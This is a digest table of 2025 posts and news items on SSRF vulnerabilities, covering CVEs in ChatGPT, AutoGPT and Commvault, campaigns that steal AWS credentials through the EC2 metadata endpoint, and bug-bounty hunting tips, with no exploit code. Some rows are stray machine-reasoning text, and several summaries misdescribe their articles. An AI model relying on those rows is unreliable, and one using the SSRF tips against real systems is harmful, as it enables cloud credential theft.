| 2025-04-29 2025 | SSRF Vulnerability in Symfony? Learn how attackers exploit it & how to fix it with real code examples. Boost your web app security now! #CyberSecurity #Symfony #SSRF #WebSecurity #BugBounty #OWASP #DevSecOps #Pentesting #Infosec #SecureCoding intermediate | The content discusses the SSRF vulnerability in Symfony, explaining how attackers exploit it and providing solutions with real code examples to enhance web app security. It emphasizes the importance of addressing this vulnerability to protect against cyber threats. The post includes hashtags related to cybersecurity, Symfony, SSRF, web security, bug bounty, OWASP, DevSecOps, pentesting, infosec, and secure coding. It offers a link for further information and encourages readers to take action to secure their web applications. |
| 2025-04-29 2025 | Advanced SSRF Challenge! Credit - @Cyber__Anna Can you find a way to fetch internal metadata? Drop your bypass tricks in the comments! #SSRF #BugBounty #InfoSec advanced | The content is about an advanced Server-Side Request Forgery (SSRF) challenge posted by @Cyber__Anna. Participants are encouraged to find a method to retrieve internal metadata and share their bypass techniques in the comments. The challenge is related to cybersecurity topics such as SSRF, Bug Bounty, and Information Security. It invites individuals to test their skills in identifying vulnerabilities and bypassing security measures. |
| 2025-04-28 2025 | SSRF Hunting 101: Force the server to make requests to internal resources or external URLs it shouldn't. Think: localhost internal IPs cloud metadata endpoints. Look for URL parameters and data that control server-side requests. Test test test! #SSRF #WebSecurity beginner | The content discusses SSRF (Server-Side Request Forgery) hunting basics, emphasizing forcing servers to make unauthorized requests to internal or external resources like localhost, internal IPs, and cloud metadata endpoints. It suggests focusing on URL parameters and data that influence server-side requests and emphasizes thorough testing. The post encourages testing for SSRF vulnerabilities to enhance web security. #SSRF #WebSecurity. |
| 2025-04-25 2025 | Critical Commvault SSRF could allow attackers to execute code remotely news 2 min read | Writeup of CV-2025-34028, a critical SSRF vulnerability in Commvault Command Center, allowing pre-authenticated remote code execution. Researchers discovered this flaw in the deployWebpackage.do endpoint, which an attacker can exploit by providing a malicious ZIP file containing a .JSP to achieve RCE. This vulnerability affects specific versions of Commvault and has been patched in update 11.38.20, with isolation of the Command Center from external networks suggested as a workaround. → csoonline.com |
| 2025-04-25 2025 | A critical SSRF vulnerability has been found in Moodle 4.4.3 via a TOC-TOU flaw in URL handling. Enables attackers to access internal services & even escalate to RCE. Details threatsbank.com/moodle-ssrf-vu #infosec #Moodle #CyberSecurity #SSRF news | A critical SSRF vulnerability in Moodle 4.4.3 allows attackers to access internal services and potentially escalate to Remote Code Execution (RCE) due to a TOC-TOU flaw in URL handling. More information can be found at threatsbank.com/moodle-ssrf-vu. This issue poses a significant threat to information security and highlights the importance of addressing vulnerabilities promptly. #infosec #Moodle #CyberSecurity #SSRF |
| 2025-04-22 2025 | A critical #SSRF vulnerability (CVE-2025-29446) found in Open-WebUI v0.5.16 lets attackers manipulate internal requests via malformed URLs. Read how it works and how to patch threatsbank.com/critical-ssrf- #CyberSecurity #OpenWebUI #CVE2025 news | A critical SSRF vulnerability (CVE-2025-29446) in Open-WebUI v0.5.16 allows attackers to manipulate internal requests using malformed URLs. The article explains the vulnerability and provides guidance on patching it. For more details, visit threatsbank.com/critical-ssrf-. #CyberSecurity #OpenWebUI #CVE2025. |
| 2025-04-20 2025 | Ask any Web App pentester: It can be tricky to demonstrate Server-Side Request Forgery (#SSRF) impact. Alex fortunately has a few shortcuts that can help you out as you exploit this vulnerability. Do you have any tips and tricks you use when you find SSRF? Drop them in the intermediate | Demonstrating Server-Side Request Forgery (SSRF) impact can be challenging for Web App pentesters. Alex shares shortcuts to exploit this vulnerability effectively. Readers are encouraged to share their own tips and tricks for dealing with SSRF. |
| 2025-04-19 2025 | Vulnérabilités Critiques : RCE HylaFAX Bypass SQL SicommNet et SSRF AutoGPT #HylaFAX #SicommNet #AutoGPT #RCE #SQLi #SSRF #Sécurité #Vulnérabilité #AI news | The content discusses critical vulnerabilities including Remote Code Execution (RCE) in HylaFAX, SQL Bypass in SicommNet, and Server-Side Request Forgery (SSRF) in AutoGPT. These vulnerabilities pose security risks and are tagged with relevant hashtags. The post emphasizes the importance of addressing these vulnerabilities promptly to enhance security. |
| 2025-04-17 2025 | Hackers exploit SSRF flaws to access AWS EC2 metadata and IAM credentials. Learn how to stay protectedread the full blog for key insights! #Hacked #AWS #SSRF #Codecertificate intermediate | Hackers are using Server-Side Request Forgery (SSRF) vulnerabilities to access AWS EC2 metadata and IAM credentials. To protect against this threat, it is important to stay informed and take necessary precautions. The full blog provides key insights on how to safeguard your AWS environment. #Hacked #AWS #SSRF #Codecertificate. |
| 2025-04-17 2025 | Check out the latest article in my newsletter: API Security Alert: API7:2023 - Server Side Request Forgery (SSRF) linkedin.com/pulse/api-secu via @LinkedIn #owasp #ssrf intermediate | The content highlights an API security alert regarding Server Side Request Forgery (SSRF) with the reference API7:2023. The article can be found on LinkedIn and is shared via a newsletter. The post emphasizes the importance of API security and raises awareness about the risks associated with SSRF. The content also includes relevant hashtags like #owasp and #ssrf for visibility and categorization. |
| 2025-04-16 2025 | We've seen persistence in #CVE202427564 #SSRF probes for vulnerable ChatGPT servers requesting /etc/passwd and URLs using OAST domains. Increase of probes hitting Education (16.6%) and Manufacturing (8%) since Feb 2025. Details at bit.ly/4j5tvwJ news | Persistent #CVE202427564 #SSRF probes target vulnerable ChatGPT servers, seeking /etc/passwd and URLs via OAST domains. Probes have surged in Education (16.6%) and Manufacturing (8%) sectors since Feb 2025. More information available at bit.ly/4j5tvwJ. |
| 2025-04-15 2025 | Warning: 2 high #SSRF & exposure of sensitive info to an unauthorized actor in @Auto_GPT CVE-2025-31490 CVE-2025-31491 CVSS: 8.6-7.5. An attacker can exploit these vulnerabilities to leak auth headers & private cookies. bit.ly/3RlfUFs & bit.ly/3G4YUkb #Patch news | Two high-risk SSRF vulnerabilities (CVE-2025-31490, CVE-2025-31491) in @Auto_GPT pose a threat of exposing sensitive information to unauthorized actors, with CVSS scores of 8.6-7.5. Attackers can exploit these flaws to leak authentication headers and private cookies. It is crucial to apply the patch provided to mitigate these risks. |
| 2025-04-15 2025 | Hackers Exploiting EC2 Instance Metadata Vulnerability to Attacks Websites Hosted news 2 min read | Library for detecting and preventing exploitation of EC2 Instance Metadata Service (IMDSv1) and Server-Side Request Forgery (SSRF) vulnerabilities. This campaign, observed by F5 Labs, leverages SSRF to query the IMDSv1 endpoint (169.254.169.254) for temporary AWS security credentials, enabling attackers to gain unauthorized access to cloud resources like S3 buckets and databases. Recommended mitigations include transitioning to IMDSv2 and employing Web Application Firewalls (WAFs). → cybersecuritynews.com |
| 2025-04-15 2025 | Hackeando una librería anti-SSRF de Go #evasión #GO #SSRF #paranoidhttp advanced | The content discusses hacking an anti-SSRF library in Go programming language. It involves evading security measures related to SSRF (Server-Side Request Forgery) using the Go language. The content seems to focus on exploring vulnerabilities and potential exploits in the context of SSRF protection mechanisms. The hashtag references indicate the topics covered in the content, including evasion techniques, Go programming, SSRF vulnerabilities, and paranoid HTTP practices. |
| 2025-04-14 2025 | 1. First I need to parse the original content. The user's message is about discovering SSRF vulnerabilities using AutoRepeater. The steps are divided into sections: introduction download/install automatic discovery and blind SSRF. #ssrf #bugbountytips intermediate | The content discusses discovering SSRF vulnerabilities with AutoRepeater in steps: parsing original content, introduction, download/install, automatic discovery, and blind SSRF. It highlights the process and sections involved in identifying SSRF vulnerabilities. The content is tagged with #ssrf and #bugbountytips. |
| 2025-04-14 2025 | 5. Blind SSRF section is about testing methods. The user encourages fuzzing parameters and persistence. Keep the motivational tone with "bro" as in the original. #ssrf #bugbountytips intermediate | The content discusses testing methods for Blind SSRF, emphasizing fuzzing parameters and persistence. It encourages a motivational tone using "bro" and includes hashtags #ssrf and #bugbountytips. |
| 2025-04-14 2025 | 2. For the first tweet the summary I have to condense the main points. The key points are using AutoRepeater DNS logging platforms regex patterns and exploiting blind SSRF. I need to make sure it's concise and under 140 chars. #ssrf #bugbountytips intermediate | The tweet discusses using AutoRepeater, DNS logging platforms, regex patterns, and exploiting blind SSRF. The focus is on condensing key points for a concise summary under 140 characters. #ssrf #bugbountytips. |
| 2025-04-14 2025 | How I Auto-Discovering SSRF on Hackerone Program #ssrf #bugbountytips #bugbountytip #hackers intermediate | The content discusses a method for automatically discovering Server-Side Request Forgery (SSRF) vulnerabilities on a Hackerone program. It likely includes tips and techniques for bug bounty hunters interested in finding SSRF issues. The content may provide insights into how to identify and exploit SSRF vulnerabilities effectively. The link provided likely leads to more detailed information on the topic. |
| 2025-04-14 2025 | New critical SSRF vulnerability (CVE-2025-3572) discovered in INTUMIT SmartRobot. No auth required internal networks at risk. Patch now. #CyberSecurity #SSRF #Infosec #CVE20253572 news | A new critical SSRF vulnerability (CVE-2025-3572) has been found in INTUMIT SmartRobot, putting internal networks at risk without authentication. It is advised to patch the vulnerability immediately to prevent potential cyber threats. The discovery highlights the importance of cybersecurity measures and staying informed about vulnerabilities like SSRF. #CyberSecurity #SSRF #Infosec #CVE20253572. |
| 2025-04-13 2025 | Dr Stefano Cattaneo did a great job presenting #SSRF guidelines - and even mentioned his prior scapula training by #CWIS expert @peter_a_cole! Amazing! @estesonline #ECTES2025 beginner | Dr. Stefano Cattaneo presented #SSRF guidelines and highlighted his prior scapula training by #CWIS expert Peter A. Cole. The presentation was well-received at the @estesonline #ECTES2025 event. |
| 2025-04-11 2025 | A recent campaign exploited #SSRF #vulnerabilities in EC2-hosted websites to access EC2 Metadata potentially exposing IAM credentials. This could lead to unauthorized access to S3 buckets and other #AWS services. #ThreatIntelligence #CyberSecurity news | A recent campaign exploited #SSRF vulnerabilities in EC2-hosted websites to access EC2 Metadata, potentially exposing IAM credentials. This could lead to unauthorized access to S3 buckets and other AWS services. The exploitation highlights a significant security risk and emphasizes the importance of addressing vulnerabilities promptly to prevent unauthorized access and potential data breaches. #ThreatIntelligence #CyberSecurity. |
| 2025-04-11 2025 | A recent SSRF attack campaign targeted Amazon EC2 instance metadata via unsecured websites aiming to steal sensitive IAM credentialsvia Laura French on SC Media #aws #AWSCloud #EC2 #SSRF #CyberSecurity #IAM #IMDSv2 news | A recent SSRF attack campaign focused on accessing Amazon EC2 instance metadata through unsecured websites to steal sensitive IAM credentials. The attack aimed to exploit vulnerabilities in AWS services, highlighting the importance of cybersecurity measures like IMDSv2. The incident underscores the ongoing threat of SSRF attacks and the need for vigilance in protecting cloud resources. |
| 2025-04-10 2025 | Amazon EC2 instance metadata targeted in SSRF attacks news 2 min read | Analysis of SSRF attacks targeting Amazon EC2 instance metadata, identified by F5 Labs, reveals exploitation of unsecured IMDSv1. Attackers utilized multiple parameters and subpaths to extract sensitive information like IAM role credentials from EC2 instances, originating from FBW NETWORKS SAS. Mitigation strategies include migrating to IMDSv2 or implementing WAF rules to block requests to 169.254.169.254. → scworld.com |
| 2025-04-10 2025 | #Hackers target a number of #SSRF bugs in #EC2-hosted sites to steal #AWS credentials. #Cybersecurity #infosec #cybercrime news | Hackers are exploiting SSRF vulnerabilities in EC2-hosted sites to steal AWS credentials, posing a cybersecurity threat. This cybercrime trend highlights the importance of addressing security flaws in cloud services to protect sensitive information. |
| 2025-04-10 2025 | Hackers Apuntan a Vulnerabilidades SSRF en Sitios Web Alojados en EC2 para Robar Credenciales de AWS ciberninjas.com/hackers-apunta #SSRF #AWS #EC2 #Ciberseguridad #Hackers #Vulnerabilidades #RoboDeCredenciales #SeguridadWeb #CloudSecurity #CiberAmenazas news | Hackers are targeting SSRF vulnerabilities in websites hosted on EC2 to steal AWS credentials. The focus is on cybersecurity, hackers, vulnerabilities, credential theft, web security, cloud security, and cyber threats. The link provided likely offers more details on this issue. |
| 2025-04-10 2025 | Hackers attempted to steal AWS credentials using SSRF flaws within hosted sites news 2 min read | Analysis of a March 2025 campaign targeting AWS credentials, exploiting Server-Side Request Forgery (SSRF) flaws in websites hosted on EC2 instances. Attackers leveraged CWE-200 (Exposure of Sensitive Information) and CWE-918 (SSRF) by targeting the vulnerable Instance Metadata Service version 1 (IMDSv1). Recommendations include migrating to IMDSv2, implementing WAF rules to block metadata endpoint access, and filtering requests from specific IP addresses within ASN 34534. → csoonline.com |
| 2025-04-10 2025 | AWS EC2 instances under fire! New F5 Labs research reveals a targeted SSRF campaign exploiting EC2 Metadata to steal IAM credentials. Is your cloud setup secure? Time to check your defenses! #CloudSecurity #SSRF #AWS news | New F5 Labs research uncovers a targeted SSRF campaign exploiting AWS EC2 Metadata to steal IAM credentials, raising concerns about cloud security. Users are urged to assess their defenses to safeguard against potential threats. #CloudSecurity #SSRF #AWS |
| 2025-04-10 2025 | #Hackers #target #SSRF #Bugs in #EC2-#Hosted #sites to #steal #AWS #credentials news | Hackers are exploiting Server-Side Request Forgery (SSRF) bugs in EC2-hosted websites to access and steal AWS credentials. This vulnerability allows attackers to manipulate a web application's requests to access internal resources, potentially leading to data breaches or unauthorized access to sensitive information stored on AWS. Organizations hosting websites on EC2 instances should be vigilant in monitoring and patching vulnerabilities to prevent unauthorized access and protect their AWS credentials from being compromised. |
| 2025-04-10 2025 | Hackers target SSRF bugs in EC2 hosted sites to steal AWS credentials. Protect your AWS environment: #cybersecurity #SSRF #AWS #AWSsecurity news | Hackers are exploiting Server-Side Request Forgery (SSRF) vulnerabilities in EC2 hosted sites to steal AWS credentials. It is crucial to safeguard your AWS environment against such attacks by implementing robust cybersecurity measures. Stay vigilant and prioritize AWS security to prevent unauthorized access and protect sensitive data. #cybersecurity #SSRF #AWS #AWSsecurity |
| 2025-04-09 2025 | Hackers target SSRF bugs in EC2-hosted sites to steal AWS credentials beginner 3 min read | Library for detecting and mitigating Server-Side Request Forgery (SSRF) vulnerabilities that target EC2 Metadata. This resource highlights a campaign exploiting IMDSv1 to steal AWS IAM credentials, enabling privilege escalation and access to services like S3. It details attacker techniques, including rotating query parameters and subpaths, and emphasizes the importance of migrating to IMDSv2. The article also notes the broader trend of older CVEs, such as CVE-2017-9841 and CVE-2023-1389, remaining highly exploited. → bleepingcomputer.com |
| 2025-04-09 2025 | Hackers target #SSRF bugs in #EC2-hosted sites to steal #AWS credentials scyscan.com/news/hackers-t news | Hackers are exploiting Server-Side Request Forgery (SSRF) vulnerabilities in Amazon EC2-hosted websites to steal AWS credentials. This security threat allows hackers to manipulate a server into making unauthorized requests, potentially leading to data breaches or unauthorized access. It is crucial for EC2-hosted sites to address and patch these vulnerabilities to prevent the theft of AWS credentials and protect sensitive information. |
| 2025-04-09 2025 | New Writeup Alert! "Pentathon 2025 Web ChallengeUnblocker" by Vedant Pillai is now live on IW! Check it out here: #ssrf #ctfwriteup #cybersecurity #ethicalhacking #ctf intermediate | A new writeup titled "Pentathon 2025 Web Challenge — Unblocker" by Vedant Pillai is available on IW. The writeup focuses on cybersecurity topics such as SSRF, ethical hacking, and CTF. Readers are encouraged to check it out for insights into these areas. The link provided directs to the content for further exploration. |
| 2025-04-07 2025 | Understand What is Server Side Request Forgery (SSRF). Cover its all types impact and How to Defend Against Server-Side Request Forgery? #SSRF #SSRFAttacks #SoftwareSecurity beginner | The content discusses Server-Side Request Forgery (SSRF), explaining its types, impact, and defense strategies. It aims to raise awareness about SSRF attacks and the importance of software security. The focus is on understanding the threat posed by SSRF, its potential impacts, and ways to protect against such vulnerabilities. The content encourages readers to be vigilant and take proactive measures to defend their systems against SSRF attacks. |
| 2025-04-07 2025 | Critical CVE-2025-32013 alert: An SSRF flaw in LNbits could expose internal systems via manipulated callback URLs. CVSS 9.3. Immediate action is advised. Details: threatsbank.com/critical-ssrf- #CyberSecurity #CVE2025 #SSRF #LNbits news | A critical CVE-2025-32013 alert warns of an SSRF flaw in LNbits that could expose internal systems through manipulated callback URLs, with a CVSS score of 9.3. Immediate action is recommended. For more details, visit threatsbank.com/critical-ssrf-. #CyberSecurity #CVE2025 #SSRF #LNbits. |
| 2025-04-06 2025 | SSRF Cloud token theft Full cloud compromise. #BugBounty #CloudSecurity #SSRF #EthicalHacking intermediate | The content discusses a security vulnerability known as Server-Side Request Forgery (SSRF) that can lead to cloud token theft and full cloud compromise. It emphasizes the importance of Bug Bounty programs, Cloud Security, SSRF awareness, and Ethical Hacking practices to address and prevent such vulnerabilities. The content aims to raise awareness about the risks associated with SSRF and the potential impact on cloud security. |
| 2025-04-05 2025 | Cultivating a new bash script that handles custom SSRF Payloads User Agents and Content types for testing SSRF Injections! Full version should be on my GitHub by end of the week! #hack #hackers #Hackingtime #Pentesting #SSRF #BugBounty #cybersec intermediate | A new bash script is being developed to handle custom SSRF payloads, user agents, and content types for testing SSRF injections. The full version will be available on GitHub by the end of the week. The project aims to assist in testing SSRF vulnerabilities and is relevant to hacking, pentesting, bug bounty, and cybersecurity communities. #hack #hackers #Hackingtime #Pentesting #SSRF #BugBounty #cybersec. |
| 2025-04-05 2025 | New Writeup Alert! " SSRF to RCE: How I Turned a Small Bug Into a Big Paycheck" by Abhijeet Kumawat is now live on IW! Check it out here: infosecwriteups.com/574b6b889d2a #hacking #ssrf #rce #bugbounty #cybersecurity intermediate | Abhijeet Kumawat's new writeup on turning a small bug into a big paycheck through SSRF to RCE is now available on IW. The content discusses hacking, SSRF, RCE, bug bounty, and cybersecurity. Readers can find the detailed writeup at infosecwriteups.com/574b6b889d2a. |
| 2025-04-04 2025 | A message from our CEO @DRtheNerd: #SSRF attacks are highly advanced but with #ZeroTrust implementations threat actors are ensured to be denied access into servers. Learn how ADAMnetworks implements Zero Trust measures to detect these risks: bit.ly/3KpoIXc beginner | The CEO highlights the sophistication of SSRF attacks but emphasizes that Zero Trust measures can prevent access to servers. ADAMnetworks implements Zero Trust to detect these risks effectively. The message underscores the importance of Zero Trust in cybersecurity to counter advanced threats like SSRF attacks. The provided link likely offers more details on how ADAMnetworks utilizes Zero Trust to enhance security measures. |
| 2025-03-30 2025 | I just published Day 8 API-072023 Server Side Request Forgery #CyberSecurity #SSRF #APISecurity #OWASP #ThreatIntelligence #Infosec #BugBounty #API7 #CyberDefense #SecurityBestPractices #TechBlog #CyberAwareness #DigitalForensics #IncidentResponse beginner | The content is about a publication on Day 8 API-07-2023 focusing on Server Side Request Forgery in the context of cybersecurity. The post includes hashtags related to cybersecurity topics such as SSRF, APISecurity, OWASP, ThreatIntelligence, Infosec, BugBounty, CyberDefense, SecurityBestPractices, TechBlog, CyberAwareness, DigitalForensics, and IncidentResponse. The link provided directs to the published content. |
| 2025-03-28 2025 | #ServerSideRequestForgery (#SSRF) is a critical web app #vulnerability that can compromise your systems. Attackers can exploit it to gain unauthorized access to internal networks potentially exposing sensitive data or executing malicious code. cybernewslive.com/server-side-re beginner | #ServerSideRequestForgery (#SSRF) is a dangerous web app vulnerability that allows attackers to access internal networks, potentially leading to data exposure or malicious code execution. This vulnerability can compromise systems and must be addressed to prevent unauthorized access and protect sensitive information. Cybersecurity measures are crucial to mitigate the risks associated with SSRF attacks. |
| 2025-03-28 2025 | #Cycatz #cybersecurity SSRF Leads to RCE More... shorturl.at/i4LG8 #cyberattacksurfacemanagement #darkwebmonitoring #SurfaceWebMonitoring #mobilesecurity #mailsecurity #cloudsecurity #grc #riskregister #vendorriskmanagement #brandmonitoring #incedentreport #bug #SSRF #RCE beginner | The content discusses cybersecurity topics such as SSRF leading to RCE, cyber attack surface management, dark web monitoring, mobile security, cloud security, risk management, vendor risk, brand monitoring, incident reporting, and bugs. It emphasizes the importance of these areas in maintaining security and preventing cyber threats. The link provided likely leads to further information on these topics. |
| 2025-03-27 2025 | Server-Side Request Forgery (SSRF) is often underestimated but it can lead to severe consequencesincluding Remote Code Execution (RCE). Read here: #CyberSecurity #SSRF #RCE #EthicalHacking #hackingtips beginner | Server-Side Request Forgery (SSRF) is a serious security threat that is often underestimated. It can result in severe consequences, such as Remote Code Execution (RCE). This highlights the importance of understanding and addressing SSRF vulnerabilities to prevent potential cyber attacks. The content emphasizes the significance of cybersecurity, SSRF, RCE, ethical hacking, and provides hacking tips. |
| 2025-03-25 2025 | Positive Technologies helps fix a vulnerability in Veeam Service Provider Console news | Positive Technologies assisted in addressing a vulnerability found in the Veeam Service Provider Console. The vulnerability was identified and resolved with the help of Positive Technologies. The collaboration between the two entities resulted in fixing the security flaw in the Veeam Service Provider Console. |
| 2025-03-24 2025 | New Writeup Alert! "SSRF Advanced Methodology" by Abhijeet Kumawat is now live on IW! Check it out here: #hacking #bugbounty #methodology #ssrf #infosec advanced | Abhijeet Kumawat's new writeup "SSRF Advanced Methodology" is now available on IW, focusing on hacking, bug bounty, methodology, SSRF, and infosec. The content provides insights into advanced SSRF techniques. Readers interested in cybersecurity and exploiting SSRF vulnerabilities can find valuable information in this writeup. |
| 2025-03-24 2025 | 2024 CWE Top 25 Most #Dangerous_Software_Weaknesses: #Server_Side_Request_Forgery #SSRF CWE-918 beginner | The content discusses the 2024 CWE Top 25 Most Dangerous Software Weaknesses, highlighting Server Side Request Forgery (SSRF) as a critical vulnerability (CWE-918). This weakness can allow attackers to manipulate server requests, potentially leading to unauthorized access or data leaks. Organizations should prioritize addressing SSRF vulnerabilities to enhance their cybersecurity defenses. |
| 2025-03-24 2025 | 2024 CWE Top 25 Most #Dangerous_Software_Weaknesses: #Server_Side_Request_Forgery #SSRF CWE-918 beginner | The content discusses the 2024 CWE Top 25 Most Dangerous Software Weaknesses, highlighting Server-Side Request Forgery (SSRF) as a critical vulnerability (CWE-918). This weakness can allow attackers to manipulate server requests, potentially leading to unauthorized access or data leakage. Organizations should prioritize addressing SSRF vulnerabilities to enhance their cybersecurity defenses and protect sensitive information from exploitation. |
| 2025-03-23 2025 | When you see payloads like this with URL the next thing to look out for (vulnerability) should be #SSRF Don't ignore the signs. beginner | The content highlights the importance of being cautious when encountering payloads with URLs, suggesting that the next vulnerability to watch for is Server-Side Request Forgery (SSRF). It emphasizes not ignoring such signs to prevent potential security risks. The provided URL example serves as a reminder to be vigilant and proactive in identifying and addressing vulnerabilities like SSRF. |
| 2025-03-21 2025 | Big warning from GreyNoise: Over 400 IPs exploiting SSRF vulnerabilities in GitLab VMware and more. Patch up monitor traffic and stay vigilant! #CyberSecurity #SSRF #ThreatIntelligence #PatchNow news | GreyNoise issued a warning about 400+ IPs exploiting SSRF vulnerabilities in GitLab, VMware, and other systems. They advise patching up vulnerabilities, monitoring traffic, and staying vigilant for potential threats. This highlights the importance of cybersecurity measures and prompt patching to mitigate risks. #CyberSecurity #SSRF #ThreatIntelligence #PatchNow |
| 2025-03-21 2025 | @starkcharry Ive confirmed HTTP interactions on a blind SSRF in a BBP target and exploring escalation to RCE. Since youve shared great insights on SSRF exploitation before Id love to collaborate on this. Let me know if you're interested! #BugBounty #SSRF #Pentesting intermediate | The content mentions confirming HTTP interactions on a blind SSRF vulnerability in a BBP target and exploring escalation to Remote Code Execution (RCE). The author seeks collaboration with @starkcharry, who has expertise in SSRF exploitation. They express interest in working together on this and invite @starkcharry to join. The post includes relevant hashtags like #BugBounty, #SSRF, and #Pentesting. |
| 2025-03-20 2025 | Over 400 IPs exploiting SSRF vulnerabilities like CVE-2020-7796 & CVE-2021-22175. Patch up monitor traffic and stay vigilant! #CyberSecurity #SSRF #ThreatIntelligence #PatchNow news | Over 400 IPs are exploiting SSRF vulnerabilities such as CVE-2020-7796 & CVE-2021-22175. It is crucial to patch up systems, monitor traffic, and remain vigilant to prevent cyber threats. The post emphasizes the importance of cybersecurity, threat intelligence, and immediate patching to address these vulnerabilities. Stay proactive and protect your systems. #CyberSecurity #SSRF #ThreatIntelligence #PatchNow. |
| 2025-03-19 2025 | #ThreatProtection #CVE-2024-27564 - #ChatGPT commit f9f4bbc #SSRF #vulnerability exploited in the wild read more about Symantec's protection: broadcom.com/support/securi news | The content highlights a specific vulnerability (#CVE-2024-27564) in the #ChatGPT software, related to Server-Side Request Forgery (#SSRF), being exploited in the wild. It directs readers to learn more about Symantec's protection against this vulnerability on broadcom.com/support/securi. The post emphasizes the importance of threat protection and staying informed about potential security risks. |
| 2025-03-19 2025 | Check those common parameters could be vulnerable SSRF... For more follow ...DarkShadow... #ssrf #bugbountytips beginner | The content discusses the importance of checking common parameters for potential SSRF vulnerabilities. It suggests following DarkShadow for more insights and tips related to SSRF and bug bounty hunting. The post emphasizes the significance of being vigilant about common parameters to identify and address SSRF vulnerabilities effectively. |
| 2025-03-19 2025 | #ChatGPT #SSRF #Vulnerabilities #bug quickly becomes a favorite #attack_vector vapt.me/GPT-SSRF news | The content discusses the emergence of a vulnerability in #ChatGPT related to Server-Side Request Forgery (#SSRF), which has become a popular attack vector. The link provided likely leads to more details about this vulnerability and its implications. |
| 2025-03-19 2025 | #AI: A year-old Server-Side Request Forgery (#SSRF) vulnerability in #ChatGPT pictureproxy.php file (CVE-2024-27564) is actively exploited against financial entities & government organisations; news | A Server-Side Request Forgery (SSRF) vulnerability in the ChatGPT pictureproxy.php file (CVE-2024-27564) is being actively exploited against financial entities and government organizations. This year-old vulnerability poses a security risk and is being used maliciously. More information can be found at the provided link. |
| 2025-03-18 2025 | ChatGPT SSRF bug quickly becomes a favorite attack vector beginner 2 min read | Writeup of CVE-2024-27564, a ChatGPT SSRF vulnerability in pictureproxy.php, allowing attackers to trigger arbitrary server requests via crafted URLs. This flaw, with a CVSS score of 6.5, is being actively exploited by threat actors against financial and government organizations, with over 10,000 attack attempts observed in a week. Misconfigured Intrusion Prevention Systems and Web Application Firewalls on systems like NextGenFirewall contribute to unprotected environments, highlighting the risk of ignoring medium-severity vulnerabilities. → securityaffairs.com |
| 2025-03-18 2025 | @VeritiSecurity #ChatGPT #SSRF bug quickly becomes a favorite attack vector #securityaffairs #hacking #malware news | The @VeritiSecurity #ChatGPT #SSRF bug has gained popularity as an attack vector in the realm of security affairs, hacking, and malware. This vulnerability is being exploited by malicious actors, highlighting the importance of addressing and mitigating such security risks promptly. |
| 2025-03-18 2025 | #ChatGPT #SSRF bug quickly becomes a favorite attack vector #securityaffairs #hacking #malware news | The #ChatGPT #SSRF bug has emerged as a popular attack method in the cybersecurity realm. This vulnerability is gaining traction among hackers and malware creators. The bug's exploitation poses a significant threat to security, making it a favored attack vector. The issue is being discussed within the cybersecurity community, highlighting the importance of addressing and mitigating this vulnerability promptly. |
| 2025-03-18 2025 | Hackers Exploit SSRF Vulnerability to Attack OpenAIs ChatGPT Infrastructure beginner 2 min read | Writeup of CVE-2024-27564, an SSRF vulnerability actively exploited against OpenAI's ChatGPT infrastructure, leading to over 10,000 attack attempts primarily targeting government organizations and financial institutions. The report highlights how attackers leverage medium-severity vulnerabilities and misconfigured security systems like IPS and WAFs, emphasizing the need for comprehensive vulnerability management beyond just critical and high-severity flaws. → gbhackers.com |
| 2025-03-14 2025 | Experts warn of a coordinated surge" in the exploitation attempts of #SSRF flaws securityaffairs.com/175344/hacking #securityaffairs #hacking news | Security experts are cautioning about a significant increase in coordinated exploitation attempts targeting #SSRF flaws. This surge poses a heightened risk to systems vulnerable to these security weaknesses. The warning highlights the importance of addressing and patching these vulnerabilities promptly to prevent potential security breaches and unauthorized access to sensitive information. |
| 2025-03-14 2025 | Experts warn of a coordinated surge in SSRF exploitation attempts with around 400 IPs targeting multiple vulnerabilities across platforms highlighting a concerning trend in reconnaissance-driven attacks. #CyberSecurity #SSRF news | Experts are cautioning about a rise in SSRF exploitation attempts involving 400 IPs targeting various vulnerabilities across platforms, indicating a troubling trend in reconnaissance-driven attacks. This highlights the importance of cybersecurity measures to prevent such threats. #CyberSecurity #SSRF |
| 2025-03-13 2025 | Experts warn of a coordinated surge in the exploitation attempts of SSRF vulnerabilities beginner 1 min read | Analysis of a coordinated surge in SSRF exploitation, observed by GreyNoise on March 9, reveals attackers leveraging Grafana for initial access before attempting to exploit multiple SSRF CVEs simultaneously. This coordinated attack, involving at least 400 IPs, targets infrastructure across various platforms, suggesting automated reconnaissance for pivoting and cloud exploitation. Organizations are advised to patch affected systems, mitigate targeted CVEs, and monitor for suspicious outbound requests. → securityaffairs.com |
| 2025-03-13 2025 | @GreyNoiseIO Experts warn of a coordinated surge" in the exploitation attempts of #SSRF flaws #securityaffairs #hacking news | Experts from GreyNoiseIO have issued a warning about a coordinated surge in exploitation attempts targeting SSRF flaws. This poses a significant risk to security, as SSRF vulnerabilities can be exploited by hackers for malicious activities. The increase in these exploitation attempts highlights the importance of addressing and patching SSRF vulnerabilities to protect against potential security breaches. |
| 2025-03-13 2025 | Experts warn of a coordinated surge" in the exploitation attempts of #SSRF flaws #securityaffairs #hacking news | Security experts are cautioning about a notable increase in coordinated exploitation attempts targeting Server-Side Request Forgery (SSRF) vulnerabilities. This surge in attacks poses a significant threat to cybersecurity. The warning highlights the importance of addressing and patching SSRF flaws promptly to prevent potential security breaches and hacking incidents. |
| 2025-03-13 2025 | Multiple SSRF vulnerabilities leveraged in far-reaching coordinated attack beginner | Library for defending against Server-Side Request Forgery (SSRF) vulnerabilities, observed in a coordinated global attack targeting platforms in the U.S., Germany, Singapore, India, Japan, Lithuania, and Israel. This resource focuses on network security and provides strategies to fortify defenses against such widespread intrusions. → scworld.com |
| 2025-03-13 2025 | Over 400 IPs Exploiting Multiple SSRF Vulnerabilities in a Coordinated Cyber Attack! Read the full report: #CyberSecurity #SSRF #Hacking #CloudSecurity #CyberThreats #DataBreach #InfoSec #CyberAttack #NetworkSecurity #EthicalHacking news | Over 400 IPs are involved in a coordinated cyber attack exploiting multiple SSRF vulnerabilities. The full report provides details on this cybersecurity threat, covering topics like hacking, cloud security, data breaches, network security, and ethical hacking. The attack highlights the importance of addressing vulnerabilities and enhancing cybersecurity measures to protect against cyber threats. |
